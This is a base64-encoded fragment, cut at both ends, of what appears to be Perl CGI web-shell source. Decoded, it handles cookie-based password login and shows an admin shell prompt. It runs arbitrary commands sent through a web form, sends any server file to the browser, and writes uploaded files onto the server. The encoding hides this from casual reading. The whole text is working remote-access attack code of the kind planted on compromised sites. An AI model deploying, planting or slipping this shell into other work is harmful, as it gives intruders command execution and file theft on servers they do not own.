0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRwYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+Cjxmb250IGNvbG9yPSIjMDBGRjAwIj4kUHJvbXB0PC9mb250PiAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiIHNpemU9IjI1Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CiAgICAgICAgICAgCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6ICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQlwcmludCAiPGRpdiBzdHlsZT0nZmxvYXQ6IGNlbnRlcjsgdGV4dC1hbGlnbjogbGVmdDsnPiI7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXAgc3R5bGU9J2NvbG9yOiAjMDBGRjAwOyc+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJcHJpbnQgIjwvZGl2PiI7CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICI8L2NvZGU+IjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWY